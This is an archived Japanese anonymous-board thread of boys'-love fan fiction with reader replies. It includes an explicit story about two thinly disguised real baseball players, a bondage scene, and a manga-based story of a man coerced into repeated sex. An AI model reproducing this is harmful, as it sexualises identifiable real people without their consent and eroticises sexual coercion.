そう言うんじゃないかとドキドキしたよ…(´;ω;`)ゥッ <> 風と木の名無しさん<>sage<>2006/10/04(水) 13:34:27 ID:2LKAvaMv0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  ナマモノ注意・ぷろやきぅ北のきぅだん
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  エロ爽やかな物置×若手だってさ
 | |                | |             \
 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ つか、長過ぎね?
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
 | |                | |       ◇⊂    )(    ) |  ヽノ___
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _) ┌ ┌ _)⊂UUO__||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
※若手はやらかす方の三類種…のつもり
※いろいろ妄想しすぎてすっかり別物だろうとの噂あり
※マカーだからAAずれてたらごめんね <> 1/8<>sage<>2006/10/04(水) 13:35:10 ID:2LKAvaMv0<> 今日の試合でチャンスを与えられたのに、結果の出せなかった俺は背中をまるめてトボトボと球場を
後にしようとしていた。そんな俺の肩をたたく人がいた。
「元気無いぞー。どう?これから」
そういって片手で杯を傾ける仕草をしたのは、チーム一の爽やか男と呼ばれる先輩選手だった。
辛気くさい俺を元気づけようとしてくれてるのか、その心遣いがうれしくて、
俺はその光栄なお誘いに乗ったのだ。

アルコールが舌を滑らかにしたせいで、俺はこの機会に全部ぶちまけてしまえとばかりに、
話すだけ話した。俺のくだらない話に相づちをうったり、自分の経験を話してくれたりする
相手の醸し出す雰囲気が心地よかった。
3件目の店を出たところで「そろそろお開きにしようか」という彼に
「え〜、まだ飲み足りないっす〜」
ほろ酔い加減で調子づいてた俺は、彼の腕にすがってごねた。
いつも色んな人に囲まれているこの人が自分といてくれることに舞い上がってもう少しだけ
独占していたいと思ったせいもある。先輩はちょっと首をかしげて考えてから、
しかたないなという風に笑って「じゃ、うちくる?」と言った。酒が余っているから、と。
この人の私生活に興味もあったし、やっぱり俺はその誘いに乗ったのだ。 <> 2/8<>sage<>2006/10/04(水) 13:35:58 ID:2LKAvaMv0<> 一人暮らしのマンションは部屋の主とよくにた落ち着いた空気で満たされていて、
ああこの人の部屋なんだな、と妙なところで俺は感心した。
部屋の主は、ダイニングのカウンター立って氷を入れたグラスに琥珀色の液体を注ぐ。
そんな仕草一つをとっても、なんというか、絵になる人だ。
ゆったりとしたソファに並んで座って、グラスを受け取る。
「俺、あんまり呑めないから、お酒もらってもあましちゃうんだよね」
とてもそうは見えないが、そういや先ほどの店でもあまり呑んでなかったような気がするので
そうなのかもしれない。
ひとしきり他愛も無い話をしていると、半開きの寝室のドアの奥のダブルベットが目に入る。
「あれ?たしか独身でしたよね?」
「うん、バツイチだけどね。なんで?」
「いえ…」
俺の視線の先に気づいたのか、ああ、と言って彼は意味ありげな笑みを浮かべる。
「あれは、まあ色々あるから、ね」
少しいたずらっぽく笑う顔は、オトナの余裕を感じさせた。
まあこれだけのいい男なら独り寝の寂しさとは無縁なのだろう。畜生、この独身貴族め。
「あはは、そういや、俺もお持ち帰りされちゃいましたね」
ちょっとした悔しさから俺がちゃかす。

「そうだね、じゃ、せっかくだから試していく?」
「へ?」 <> 3/8<>sage<>2006/10/04(水) 13:36:36 ID:2LKAvaMv0<> とんでもない切り返しに、一瞬頭が真っ白になる。どう反応していいのかわからない。
…って、いやいやいや俺、男だし。慌ててどうする。
一人突っ込みをして冷静さを取り戻すことを試みるものの、なぜだか鼓動が早くなる。
いや、これはきっと酒が回ったせいだ。ちょっと飲み過ぎたんだ。うん、そうに違いない。
水を貰おうと思って顔を上げると、思ったより近くで目があってドキリとする。
さっきより距離が縮まっている。さらに、心拍数があがる。
数秒の沈黙の後、ふふっと軽やかに笑って彼はいった。
「本気にした?」
「え?い、いや、本気って、いやいや、まさかそんな」
瞳を覗き込むように訊かれ、気が動転して言葉を噛みまくる。そんな俺を見て、
何がおかしいのか、またクスリと笑った。
「可愛いなぁ」
「え」
さりげなく肩に回された手に気づいた時はもう抱き寄せられていた。
何か言わなきゃと思って開いた口は、相手の唇で塞がれる
するりと侵入してきた舌が、俺の舌を絡めて弄ぶように蠢いた
後頭部を抑えられ、逃げようとする動きが封じられる。
何度も角度を変えて口づけられ舌を吸われてるうちに、だんだんと頭の芯がぼやけてくる。
さんざん口の中を蹂躙されて、よくやく開放されたころにはすっかり息が上がっていた。 <> 4/8<>sage<>2006/10/04(水) 13:37:10 ID:2LKAvaMv0<> いまいち事態が飲み込めず呆然とする俺の耳元に、口を寄せて彼がささやく。
「ベット、行こうか」
ゾクリと肌が粟立つ。甘い声と吐息が耳から入りこみ、俺の体の中心が熱を持つのを感じた。
命令する訳でもなく、頼み込む訳でもなく、あくまでさり気ない誘い。
まるで頷くのがあたりまえのような流れに俺は首を縦に振っていた。
手を引かれて立ち上がると、足がもつれて俺より背の高い彼の胸ににもたれかかる格好になる。
キスひとつで骨抜きにされてる自分が情けない。
頭の上で彼が小さく笑う気配がして、途端、俺の体は宙に浮いた。
いや、正確には抱き上げられたのだが、あまりのことに俺は慌てる。
「い、いや、自分で歩けますから!」
「いいからいいから」
俺の抗議もあっさり流されて、そのまま件のベットまで運ばれる。
やさしくおろされると、先ほどのキスの続きが始まった。
唇から顎をたどり首筋へ、さらに胸へ。舌先で胸の突起を転がされて、くすぐったさに身をよじる。
生暖かい舌の感触に、繊細な指の刺激も加わって、太ももや脇腹を撫でられ翻弄される。
ていうかいつのまに服、脱がされてたんだ?
もう完全に彼のペースに嵌っていて、俺は抵抗する糸口さえみつけられず、ズルズルとなすがまま。
完全に、まな板の上の鯉状態だった。そう思ってみると与えられる刺激に時々ビクリと跳ねる様は
たしかにさばかれる前の鯉に似ているかもしれない。うん、我ながら上手い例えだ。
と、俺が現実逃避してる間にも彼の方は着々と行為を進めていた。 <> 165<>sage<>2006/10/04(水) 13:40:44 ID:ONSzzMnHO<> 規制くらいました;しばし中断 <> 風と木の名無しさん<>sage<>2006/10/04(水) 13:43:54 ID:x0I3lZUF0<> 支援 <> 5/8<>sage<>2006/10/04(水) 13:45:10 ID:2LKAvaMv0<> |>PLAY ピッ ◇⊂(・∀・;)サイカイシマース

「うひゃっ!」
ありえないところにありえない感触がして、思わず情けない声が漏れる。
ぬめる液体を指にとり、彼が俺の中に塗り付けたのだ。
「はは、色気ないなぁ」
いや、色気とかわけわかんないし。そんなところにものを突っ込まれたのは初めてで、
どう反応したものかも分からない。戸惑う俺を尻目にうにうにと指が体の中をかき回す。
「や…なん、か…変な感じ……っあぁ!」
指がある一点をかすめた途端、電流が走ったように体が反応して、大きな声が漏れた。
反射的に口を手で覆う。鼻にかかった甘ったるい声、自分の口からこんな声が出ることに驚いた。
とてもじゃないが人に聞かれるのは恥ずかしい。
「ここ?」
「ん…んんっ…ふっ」
彼は反応を返した場所を執拗に突いた。必死で声が出そうになるのを我慢するが、
抑えていた手をそっと外されそれもできなくなる。
「もっと声、聞かせてよ」
やさしい声とは裏腹に二本に増やされた彼の指は容赦なく俺を責め立てる。その度に、
痺れるような感覚が体の中を走り抜け、ビクビクと腰が揺れた。
「はっ…ん、あっ…やあっ!」
「ん、いい声」
彼は俺の反応を見て満足そうに笑うと、さらに指を増やしていった。 <> 6/8<>sage<>2006/10/04(水) 13:45:59 ID:2LKAvaMv0<> 「やっ…っ…いた…、痛い…!」
あまりの痛さと異物感に涙が出る。自分の中に人のものを受け入れているという状況に
頭がついていかずに、混乱する。苦しくて息が出来ない。
「力、抜いて。大丈夫」
何が大丈夫なもんかと思ったが、もはや言葉にはならない。こぼれ落ちる涙を舌先ですくわれて、
背中をさすられる。俺は彼にしがみついて、なんとか呼吸を整えようとするが、
体を動かすたびに、繋がった部分が粘着質な音をたてて、それに動揺してしまう。
痛みから気をそらすためか、彼の手が俺のものを擦り上げる。突然与えられた快感に体が震えた。
前に気をとられているうちに、後ろは深いところまで突っ込まれていて、
抜き差しを繰り返されるうちに、痛みと快楽の境目が曖昧になっていった。
「気持ちいい?」
「や、そんな、の、わか、んなっ…はぁっ、や…ア…」
でも、気持ち良さそうだよ?と笑いを含んだ声が耳に吹き込まれても、
もう俺はそれを言葉として認識できず、襲ってくる衝動の波をやりすごすことに必死だった。
「ヒっ…も…や、だ…あ、あ、あああぁっ!」
「も、少し、ね…いい子だから…」
頭も体もぐちゃぐちゃの中で、どうしていいかわからず首にすがって泣き叫ぶ俺に、
彼は宥めるようなキスをひとつ落とすと、ひときわ強く突き上げた。 <> 7/8<>sage<>2006/10/04(水) 13:46:34 ID:2LKAvaMv0<> 目を開くと見慣れない天井が目に入った、ひどい夢を見た気がする。
もぞもぞと起き上がって、あたりを見回し、どこだろうと思う。少なくとも自分の部屋ではない。
立ち上がろうとして襲ってきた腰のだるさに、昨夜の記憶が一瞬にして呼び起こされる。
いつのまにか服を着せられて、体もさっぱりしてて昨夜の跡なんてどこにもなかったけれど、
よみがえる生々しい感触に愕然とした。
なんてこったい…おとーさん、おかーさん、そしてカミさん…ごめんなさい…
俺、男相手にお釜掘られちゃいました…。おまけに結構気持ちよかったなんて…
「どーすんだよ、俺…」ベットの上でガックリとうなだれる。
すると俺の落ち込みの原因がのほほんとした顔で、寝室に顔を出した。
「お、起きたな。大丈夫か?」
「…大丈夫じゃないっすよぉ…」
力なく言い返す俺に、奥様方のハートをわしづかみにすると評判の
とびっきりの爽やかスマイルを浮かべて彼はいった。
「でも、よく眠れただろ?」
…確かに…さんざん喘がされて、くたくたになって、ぶっ倒れるように眠ったせいか、
気分は妙にすっきりしていた。ここしばらく、試合のことで悩んで眠れないこともあったが、
昨夜は悩むどころか、そのことを考える余裕すらなかったのだから。 <> 8/8<>sage<>2006/10/04(水) 13:47:06 ID:2LKAvaMv0<> これが彼の作戦だというなら確かに成功したのだろう。しかし何か釈然としない。
唇を尖らせて不満気な表情の俺の頭に大きな手が置かれて、わしゃわしゃと髪をかき回す。
「なんかお前最近、元気なかったからなぁ、元気づけようと思ったんだが」
「げ、元気づけるって…んなことされたら、ますます元気なくなりますよ!」
「うん。そんだけ元気なら大丈夫だな」
思わず怒鳴った俺の頭を、ポンポンと軽く叩いてにっこりと笑顔を浮かべる相手に、
怒る気力も奪われる。
「ほら顔洗ってこい。メシはもう出来てるから」
メシと言われて腹がなった。こういう時でも体は正直だ。
「はは、セックスって結構体力使うからなー。ほら、起きた起きた。練習遅れるぞ」
なんだかサラリととんでもない台詞が耳に入ったような気がするが、そこに突っ込む暇もなく、
彼に促されて立ち上がる。
洗面所に向かう途中ででダイニングに目をやると、美味そうで、それでいてバランスの取れた
メニューが二人分並んでいて、コーヒーのいい香りが立ちこめていた。
振り返って部屋を見回せば、薄いカーテン越しにはまぶしいばかりの朝日がさしていて、
その中にニコニコと笑顔の彼が立っていて、なんだかもう何もかもが清々しくて…
本当に、馬鹿みたいに清々しくて、俺は…とりあえず今日も一日頑張ろうと思ったのだった。 <> 風と木の名無しさん<>sage<>2006/10/04(水) 13:48:31 ID:2LKAvaMv0<>  ____________
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 | |                | |           ∧_∧ なんかもうホントいろいろゴメンナサイ
 | |                | |     ピッ   (・∀・;) ナニモカモ物置ガエロスギルノガイケナインダ
 | |                | |       ◇⊂    ) __
 |   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄  |       ||―┌ ┌ _)_||  |
 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   |
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>>171
支援ォです。 <> 風と木の名無しさん<>sage<>2006/10/04(水) 17:42:51 ID:JHj+cOXA0<> >>165
超々GJです!
物置エロ爽やかだよ物置! <> 風と木の名無しさん<>sage<>2006/10/04(水) 23:33:42 ID:jFwo3VTf0<> やらかす三類種に乾杯 <> 風と木の名無しさん<>sage<>2006/10/05(木) 02:10:44 ID:pYzoBJLk0<> >>165
何かいかにもエロ爽やかって感じがするw
GJです。 <> 風と木の名無しさん<>sage<>2006/10/06(金) 00:32:23 ID:vTfdZ9BS0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  >>86の続きなわけだが
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
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 | | |> PLAY.       | |               ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | |                | |           ∧_∧ ∧_∧ ∧∧ ドキドキ
 | |                | |     ピッ   (´∀` )(・∀・ )(゚Д゚ )
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 |  °°   ∞   ≡ ≡   |       || (_(__)(_(__).      ||  |

*えろの続きをご所望されてるのはわかったんだけどチクビストなのでひたすらチクビー!!
*同じジャンル同じ糾弾続きで投下悩みましたが…すみません、特に投下無さそうなので保守もかねて。 <> 1<>sage<>2006/10/06(金) 00:33:09 ID:vTfdZ9BS0<>


カーテン越しに差し込んでいた白い光は徐々に黄色を帯び、時間の経過を示していた。
じきに光は橙、赤と色濃くなり、暗い青から闇へと変貌を遂げるだろう。夏は過ぎ去り、日は短い。
そしてこの戯れだけは時間の経過など隅に放り出したまま、おかしなほどゆっくりと進んでいる。
「…っふ…」
下腹部が痛いほどじんじんと疼きを訴えていた。
黒目がちのひとみは涙を湛えて開放を訴えていたが、その視線すら薄手のタオルに遮られて
淫靡ないたずらを繰り返す男には届かない。
疼きはもう我慢の限度を超え始め、腰を揺すり、汗ばんだ手が腹に乗った男の衣類を掴む。
それでも男は普段の通り体温の低そうな、いっそ無機質な印象さえ与える表情を
変えることは無かった。それだけに、彼の熱っぽい喘ぎ声は異質なものにさえ感じさせた。
「はっ……あっ……ン、んぅっ」
からだを這う指先を、驚くほど敏感に感覚が追い、僅かの快感でもむさぼろうとする。
手入れされた綺麗な指先が脇腹を伝い、充血して張り詰めた胸元のとがりを短い爪で
引っ掻くように弄る。触れられるだけで彼の体は跳ね、くちからは吐息と共に
喘ぎの声が漏れるというのに、その指は容赦無い。
親指と人差し指でその小さな粒をつまみ、こりこりと小刻みに動かしながら揉む。
形のいい唇が食み、固くすぼめた舌先で先端を舐め、前歯がぷくりとふくらんだ突起を噛む。
指の腹がくるくると乳輪を撫でまわし、敏感になりすぎたそれが刺激が欲しくて震えるのに、
焦らすように延々ととがりの周りだけを愛撫する。たまらず自分の手が胸元に伸びると、
そのはしたない手をやんわりと押さえつけられた。
ぴりぴりとした感覚が脳髄を駈け上がり、息を荒くして首を左右に振った。 <> 1<>sage<>2006/10/06(金) 00:34:20 ID:vTfdZ9BS0<> 「ん?やなの?」
「もう、ヤメっ……ください…っ」
「ごめん…凄く反応いいから面白くて。ホラ、こっちもいっぱい…濡れてるし。
弱いんだね…ここ」
ぎゅッ、と親指が、ぴんと立ち上がった粒を強く押しつぶした。
「あっ、あぁあっ」
適度に筋肉のついた胸板に浮く皮膚の薄いそれ、与えられた刺激は大きくて、口から
悲鳴があがる。
薄い肉にめり込みそうなほど強く押し、充血したしこりの弾力を指の腹に感じる。
クリクリと両方を一緒に刺激されて、背中が浮くほど感じて彼は喘いだ。
「あっ…あっ…あっ…」
押す力は僅かに弱まり、それでも圧迫したままクルクル円を描く。
五感のうち、視覚を遮るだけで、他の感覚がこんなにも鋭敏になるものなのか。
目に見えぬ恐怖とは、こんなにも皮膚の感覚を敏感にさせるのか。
離れては触れ、触れては離れる指と舌の悪戯は、胸板に浮く薄い色の乳首を、いまや赤みさえ帯びた
性感帯に変えさせていた。
ただ、胸のそれは本来であれば男を直接刺激するものではない。せり上がる快感は
下腹部を刺激するのに、開放まで行き着かない。
あと少しなのに、もどかしい感覚はどろどろと体の中に沈殿していく。
ヒク、ヒク、と腹筋が時折震え、苦しそうに顎を上げて息を吸い込む。
ふくらんで震える下腹部のそれは、ベッドに滴るほど濡れているのに、男は
そ知らぬ顔で触りもしない。
「ひっ…ッく…うっ…」
あふれた涙が目尻から流れ落ちていく前に、タオルが吸い込み、じんわりと湿る。
それは開放されない己のぐつぐつとしたものにも似ていた。 <> 1<>sage<>2006/10/06(金) 00:35:17 ID:vTfdZ9BS0<> 喘ぎが漏れるくちから唾液が垂れているのがわかっても、拭う気力さえ沸かない。
それなのに…。
「ね…ここだけでいけるまで、頑張ってみよっか…」
「いっ……あぁっ…あっ…」
クイと突起を持ち上げられながら耳元に注がれる残酷な言葉に、ぞくぞくする。
これはたぶん、悦びだ。
指先ひとつで翻弄される乱れた自分と、シャツの釦ひとつさえ外していない彼の
コントラストが、ひどく被虐心をそそる。
いま彼がどんな目をしているのか、見えないはずの男はわかっていたかもしれない。
すなわち、被虐的な快感に酔う視線を、布越しに感じていたのかもしれなかった。
その証拠に、耳に注ぎ込まれた低音に、彼は感じて喘ぐ。
「泣いても駄目。……だって、結構楽しんでるでしょ?」



◆ここからは前後関係のない、ノリと勢いで書いたあほなエンディングですので
ギャグっぽいの大歓迎な人だけお読みになってください◆
<> 4ちょw番号ミスひどしwww<>sage<>2006/10/06(金) 00:36:28 ID:vTfdZ9BS0<>

いつのまにか寝てしまったのか。
その過程は覚えていないけれども、少しの間自分は気を失っていたらしいと認知
してから瞼を持ち上げた。
見慣れた天井と蛍光灯。
煌煌と明るく照らす蛍光灯を見て、すっかり日が暮れてしまったことを知る。

そういえば…。
大好きなカレーを食べて、それから…。
窓からはもう光が差し込んでいない。やっぱり夜なのだろう。
さて時間は、と彼が首を回そうとして、自分の身に起こる異変に気が付いた。
「あ、あれっ!?」
手が動かない。手首にかかる負荷は、紙を束ねるときに使われる安っぽいビニー
ルテープだ。ご丁寧にタオルの上から縛られている。
「ちょ…誰か…」
助けを呼ぼうと口を開きかけた、そのとき。
「気が付きましたか?」
寝室の扉がひらき、入ってきたのは先ほどまで彼が乗り上げていた細身の男。
先ほどまでベッドで見せていた乱れた跡は微塵も無い、スクエアな印象を与える
容姿。
端正なつくりの顔が微笑みにかたちづくられている。
が、目が笑っていない。縛られた男は無理に笑顔を作ろうとしたが、ひきつって
妙に顔を歪めただけに終わった。
「あの…まさるくん、何の、遊び?」
「あなたが、俺にしてくれたのと同じ遊びです」
「………」
「安心してください。明日は休みじゃないですから…日付けが変わる前には終わ
らせます」 <> 5<>sage<>2006/10/06(金) 00:37:25 ID:vTfdZ9BS0<> 彼は腕時計を覗き込みながら、簡単そうに言う。
「えーと…ごめん。本当にごめん。ごめんなさい」
背中に嫌な汗をかいている。
この先を想像できてしまうだけに、彼は必死になる。とりあえず謝るが、少しず
つ近づく男を留めることはできなかった。
「謝られる理由がわかりません。あれは合意の上での出来事です」
「や、そうですけどね…でも怒ってる…」
「怒ってません。安心してください」
そう言いながらも決して笑っていない目元。
蛍光灯の光を遮り覆い被さる彼は、持っているものを目の前につきつけて、今度
こそニッコリと満面の笑みを浮かべた。
「ちょっと痛いかもしれませんが。我慢してください」
かわいい色の、洗濯バサミ、2コ。
「…嘘だよね?」
「嘘じゃありません」
「冗談…」
「冗談でもありません」
「うそ…嫌だ…やめて……へ、へるぷみぃいいいいいいいっ」

さて翌日、彼らが練習に現れたかどうか…は、わからない。
<> 風と木の名無しさん<>sage<>2006/10/06(金) 00:37:59 ID:vTfdZ9BS0<>

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 | | □ STOP.       | |
 | |                | |           ∧_∧ チクビに始まりチクビにオワル
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
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*ぱおたとして次は○っぺーとべっ○書きたいなぁと思う今日この頃 <> 風と木の名無しさん<>sage<>2006/10/06(金) 00:58:08 ID:bjfd5Z+h0<> >>180
続きキター!チクビー!w
て、ちょw立場逆転辛党カワユスww
黒い甘党もイイ!
萌えと笑いをありがとうございますww <> 風と木の名無しさん<>sage<>2006/10/06(金) 01:10:37 ID:zykujq9y0<> >>180
禿げしくGJ!
乳首責めにハァハァしてオチに死ぬほど笑いました
赤い九段の方も楽しみにしております <> 風と木の名無しさん<>sage<>2006/10/06(金) 06:32:47 ID:5Xvt/VM30<> >>186
怯える華麗の王子様カワイイw`
KMNwktkで待機しておきます <> 風と木の名無しさん<>sage<>2006/10/06(金) 13:56:03 ID:Dpymm+1h0<> ちょwナニをしてるってわけじゃないのにエロスww <> 風と木の名無しさん<>sage<>2006/10/06(金) 19:46:45 ID:f1L9BSOn0<>                     / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
                     |  本ヌレの>603,607からネタをお借りしました
 ____________  \            / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
 | __________  |    ̄ ̄ ̄∨ ̄ ̄|  様子見なのでエロは控え目に
 | |                | |             \
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 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ <> 風と木の名無しさん<>sage<>2006/10/06(金) 19:48:37 ID:f1L9BSOn0<> ※元ネタ表記忘れてスマソ
※雑誌(英訳)連載中の特級。副隊長×現隊長(元×現隊長前提)です <> 1<>sage<>2006/10/06(金) 19:49:46 ID:f1L9BSOn0<>  午後は真田と待ち合わせだ。嶋本は緩む頬を押さえながら掃除に精を出していた。
何を着ていこうか。どこに行こう。ひさしぶりに二人で会えるから楽しみで仕方が無い。
汚れた雑巾を洗おうとしたとき、机の上に放り出したままの携帯が鳴った。
日頃の癖ですぐに飛びついて通話ボタンを押す。
「あーシマ?今日暇だろ?15分で来いよぉ」
「ちょ……!」
 電話の相手は用件だけ告げるとすぐに電話を切った。あとは虚しい電子音が響くのみ。
何故、相手を確かめずに電話を取ってしまったのだろうか。後悔してもすでに遅い。
嶋本は心底嫌そうな表情をしながら額に巻いたタオルを取り去った。
掃除の後片付けもしないままで携帯と鍵だけ持って家を出る。 <> 2<>sage<>2006/10/06(金) 19:50:38 ID:f1L9BSOn0<>  一ノ宮の家までは歩いて10分ほどだ。
本当は行きたくないが、遅くなるとそれだけひどい目に合わされるから仕方なく走った。
 きっかけなんてすでに忘れた。覚えていても意味は無い。
気づいたらそうなっていたのだ。真田と付き合っているのに一ノ宮にも身体の関係を強要されている。
ばらす気は恐らく無いだろうが、もし真田に知られたらと思うとぞっとする。
待ち合わせは1400。今は1030。
3時間で終わらせて、家に戻ってシャワーを浴びて……。かなりぎりぎりだ。間に合うだろうか。
 階段を駆け上ってチャイムを鳴らす。入れ、と中から聞こえてきて扉を開けた。
プライベートでは見たくも無いハゲ頭が見えて舌打ちしたい気持ちになる。
「カミさんが実家帰っててなー、欲求不満なんだよねぇ」
「どうせやるんやろ、とっととせぇ」
 吐き捨てるように言って、部屋に上がりながらTシャツに手をかけた。
脱ぎ捨ててベッドルームへ向かう。ベッドへ勢いよく乗り上げて下着ごとジャージを脱いだ。
雰囲気が無いよなぁ、なんてぼやきながら圧し掛かってくる。
首筋をねろりと舐め上げられて不快感にきつく目を瞑った。 <> 3<>sage<>2006/10/06(金) 19:52:02 ID:f1L9BSOn0<> 「ぐ………っ!」
 いくら抑えていても挿入の瞬間はどうしても声が漏れた。
腰を掴まれ後ろから揺らされてシーツに顔を埋める。早く終わって欲しい。早く、早く。
 真田との待ち合わせを知ってか知らずか、いつもよりねちっこく責められた。
何度もいかされ、腰から下が痺れたようになっていてすでに力が入らない。
足を大きく広げて腰を高くあげたこの体勢を、恥ずかしがる理性なんてとうに消えた。
一ノ宮がいけば終わるだろうと、締めつけようとしてもどうにも上手くいかない。
 声を抑えているのが気に入らないのだろう。一ノ宮が嶋本の両腕をとって上半身を起こす。
膝立ちのような姿勢になりより深く抉られて、とうとう喘ぎ声を漏らした。
「目ぇ開けてみろよぉ」
 吐息とともに耳元で吹き込まれた声に、うっすらと瞼を開くと目の前には鏡があった。
だらしなく蕩けた自分の顔と目が合う。立ち上がってぬらぬら濡れた性器がひどく醜悪に見えた。
目をきつく瞑って首を振る。 <> 4<>sage<>2006/10/06(金) 19:52:53 ID:f1L9BSOn0<> 「い、いやや……!」
「何が嫌なんだよ、嫌だ嫌だつってもいっつも最後はすごい声出しながらいくじゃねぇか」
 ずるり、と性器が身体の内から出て行く。
ゆるやかに動かされ、親指で乳首を擦られて全身が総毛だった。
口を塞ぎたくても腕ごと抱え込むように抱かれていてどうにもならない。
「いやや……」
 荒い息の中、それだけを絞り出した。

 結局解放されたのはそれから数十分経った後だった。
ぐったりとシーツに沈み込んだままどうにか息を整える。
中に出された物がとろとろと流れ出て気持ち悪い。早く帰らないと。
壁にかかっている時計を見ると、約束の時間まで15分前。
急いで帰っても約束に間に合いそうにない。
 嶋本はだるい身体を叱咤して立ち上がった。
ベッドの下に放ってあった服を拾って着替え始める。
一ノ宮は手を貸す素振りも見せず、ペットボトルを傾けながらその様子をにやにやと眺めるのみだった。
ふらつきながら玄関に向かうのを止めようとはしない。 <> 5<>sage<>2006/10/06(金) 19:53:38 ID:f1L9BSOn0<>
「帰る」
「おう」
 またな、と続けられた言葉が嶋本の心を暗くさせた。
またいつか、こんな事があるのかと思うだけで憂鬱だ。
電話なんて無視すればいいのだろうが、一ノ宮の瞳の奥にどこか底知れない恐ろしさを感じてどうしても逆らえないのだ。
 玄関を出てから嶋本はすぐに携帯電話を手にした。
シャワーを浴びずに真田に会うことなんて出来ない。
家に帰るとどうしても約束には遅れてしまう。せめて電話を。
 短縮の0番。呼び出し音が2回鳴って、すぐに真田の声が聞こえてきた。
「もしもし」
「真田さん?俺です。すみません今日の約束なんですけど……」
 母から電話がかかってきて長話に付き合わされた、と苦しい嘘をついて約束の時間を変更してもらった。
快く応じてくれる真田の優しさが辛い。
声の温かみが疲弊しきった心に沁みて泣きそうになって、慌てて電話を切った。
 携帯電話を閉じた途端、嶋本の目から涙が零れ落ちた。
真田が何も知らないのがせめてもの救いだった。辛い思いをするのは自分ひとりでいい。
失望されたくない、嫌われたくない。愛しているのだ。そう思うのは当然の事だろう。
 早く真田の顔が見たい。何にもなかった風に笑って、それから、それから。 <> 6<>sage<>2006/10/06(金) 19:54:15 ID:f1L9BSOn0<>

 嶋本の声が疲れているのを感じた真田は、通話を終えてすぐ一ノ宮に電話をかけた。
「もしもし」
「おう」
「シマを呼び出したな」
「あー、うん。お前と約束があるんだっけな、今日。早く終わらせようとやっきになって面白かったぞぉ」
「そうか。あまり無茶はしないように」
「お前のおもちゃだもんな。わかってるって」
 短い会話を終えて電話を切る。その顔には微かに愉悦の表情が浮かんでいた。 <> 風と木の名無しさん<>sage<>2006/10/06(金) 19:55:23 ID:f1L9BSOn0<>  ____________
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 | | □ STOP.       | |
 | |                | |           ∧_∧ お粗末さまでした
 | |                | |     ピッ   (・∀・ )
 | |                | |       ◇⊂    ) __
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 |  °°   ∞   ≡ ≡   |       || (_(__)  ||   | <> 風と木の名無しさん<>sage<>2006/10/06(金) 20:01:35 ID:Ed493rDU0<> リアルタイム初遭遇!萌えますた! <> 風と木の名無しさん<>sage<>2006/10/06(金) 20:29:14 ID:48fWpr+H0<> (゜△゜;)かかかかわいそうじゃないかああああ!!!!!
でも禿萌えwwwwwwwwwwwwwwwwwww <> 風と木の名無しさん<>sage<>2006/10/06(金) 22:31:44 ID:LTTnb6Qv0<> >>180
続きありがとー! <> 風と木の名無しさん<>sage<>2006/10/07(土) 01:32:10 ID:ae9cM1/E0<> 一嶋にこんなに萌えるとは…GJ!
別のマンガ目当てで本誌読んでるんだけど、コミクス買うぜ <> 風と木の名無しさん<>sage<>2006/10/07(土) 16:45:55 ID:wmDTc6oe0<> >160
元ネタプリーズ <> 風と木の名無しさん<>sage<>2006/10/07(土) 18:55:08 ID:Up0mWc9R0<> >204
10/2放送「余にもきみょうな物語」の中の「イエスタディパーク(要和訳)」
未見ならフヅのサイトのあらすじが細かくていい。
今見返すと放送見てない人にゃ意味わからんなこれw <> 風と木の名無しさん<>sage<>2006/10/08(日) 13:17:40 ID:FghMrafX0<> |>PLAY ピッ ◇⊂(・∀・ )ゴミ箱から見つかったんでゴミ投下しまーす!
お.お.振.り 準.利.央


「ごめんね…うっ、ごめん…ひっく、準さぁん…ごめんねごめんね…」

ごめんね、以外の言葉を忘れたかのように泣きながら利.央は謝り続けた。
キレイな顔を涙でぐちゃぐちゃにして。
決して清潔とは言い難い部室の床に座り込んで。
ふられたというのに準.太は不思議と悲しみは感じなかった。
沸き上がるのは暗い愉悦だった。
バカ利.央。なめんなよ。
お前の恥ずかしいくらいあからさまな気持ちにオレが気付かなかったわけがない。
お前あんなにオレのことが大好きだって態度で言ってたじゃないか。
単なる後輩じゃなくて、特別に愛して欲しいってそのでかい目んたまに浮かべてたじゃないか。
謝るくらいなら最初から表に出すな。
今更、今更!お前は恐怖に負けてオレへの想いを捨てようとしてる。
それがどれくらい身勝手なことか分かってて、いや、分かってるからお前は謝るんだ。
オレの名を呼びながら、神様に。
<> 風と木の名無しさん<>sage<>2006/10/08(日) 13:19:29 ID:FghMrafX0<> なぁ、神様を裏切るのはそんなに悪いことなのか?
そんなに恐ろしいことなのか?信仰はオレより大切か?
バカ利.央、お前の神様はお前にボール投げられるのか。
投げられねぇだろ。
お前の神様はお前のサインを読み取れるのか。
無理だろ。
オレたちのサインは、一緒に汗流したオレたちじゃなきゃ、たとえ神様が万能だとしても分かるわけがない。
